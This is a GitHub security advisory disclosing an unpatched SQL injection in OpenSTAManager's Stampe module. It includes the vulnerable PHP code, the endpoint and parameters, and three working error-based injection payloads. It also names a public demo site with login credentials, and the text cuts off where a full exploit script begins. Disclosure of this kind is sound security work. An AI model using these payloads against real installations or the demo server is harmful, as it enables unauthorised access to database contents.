GitHub Security Advisory: GHSA-qx9p-w3vj-q24q
Package: devcode-it/openstamanager (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: <= 2.9.8
Patched in: unpatched

Summary: OpenSTAManager has an SQL Injection in the Stampe Module

Details:
## Vulnerability Details

### Location
- **File:** `modules/stampe/actions.php`
- **Line:** 26
- **Vulnerable Code:**
```php
case 'update':
    if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
        $dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));
        // ↑ Direct concatenation without prepare() sanitization
    }
```

### Root Cause

The `module` parameter from POST data is directly concatenated into an SQL UPDATE query without using the `prepare()` sanitization function. While the `predefined` parameter is validated with `intval()`, the `module` parameter only has an `!empty()` check, which does NOT prevent SQL injection.

**Vulnerable Pattern:**
```php
// Line 25: intval() protects predefined, but module is not sanitized!
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
    // Line 26: Direct concatenation - VULNERABLE
    $dbo->query('UPDATE ... WHERE `id_module` = '.post('module'));
}
```

## Exploitation
### Vulnerable Endpoint
```
POST /modules/stampe/actions.php
```

### Required Parameters
```
op=update
id_record=1
predefined=1 (must be non-zero after intval())
module=[INJECTION_PAYLOAD]
title=Test
filename=test.pdf
```

### Authentication Requirement
- Requires valid authenticated session (any user with access to Stampe module)
- **VERIFIED:** Users with "Tecnici" group access can exploit (NOT admin-only!)
- **PoC:** Demo at https://demo.osmbusiness.it with credentials tecnico/tecnicotecnico

### Exploitation Type
**Error-based SQL Injection** using MySQL's EXTRACTVALUE/UPDATEXML/GTID_SUBSET functions

### Proof of Concept

#### Method 1: EXTRACTVALUE (MySQL 5.1+)
```python
POST /modules/stampe/actions.php
Content-Type: application/x-www-form-urlencoded

op=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf
```

**Result:**

<img width="2208" height="912" alt="image" src="https://github.com/user-attachments/assets/710595e8-5cfb-4392-87a5-0b567487af34" />

**Extracted Data:** MySQL version `8.3.0`

---

#### Method 2: GTID_SUBSET (MySQL 5.6+)
```python
module=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)
```

**Result:**

<img width="2025" height="903" alt="image" src="https://github.com/user-attachments/assets/eb2b4210-5301-4b3c-81b0-495eaec27af8" />


**Extracted Data:** Database name `openstamanager`

---

#### Method 3: UPDATEXML (MySQL 5.1+)
```python
module=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)
```

**Result:**

<img width="2027" height="897" alt="image" src="https://github.com/user-attachments/assets/a364951d-566b-4c86-9467-35352bd22c43" />

**Extracted Data:** Database user `demo_osm@web01.osmbusiness.it`

---

### Automated Exploitation

**Full Exploit Script:** `exploit_stampe_sqli.py`

```python
#!/usr/bin/env python3
"""
SQL Injection Exploit - OpenSTAManager modules/stampe/actions.php

Usage:
    python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico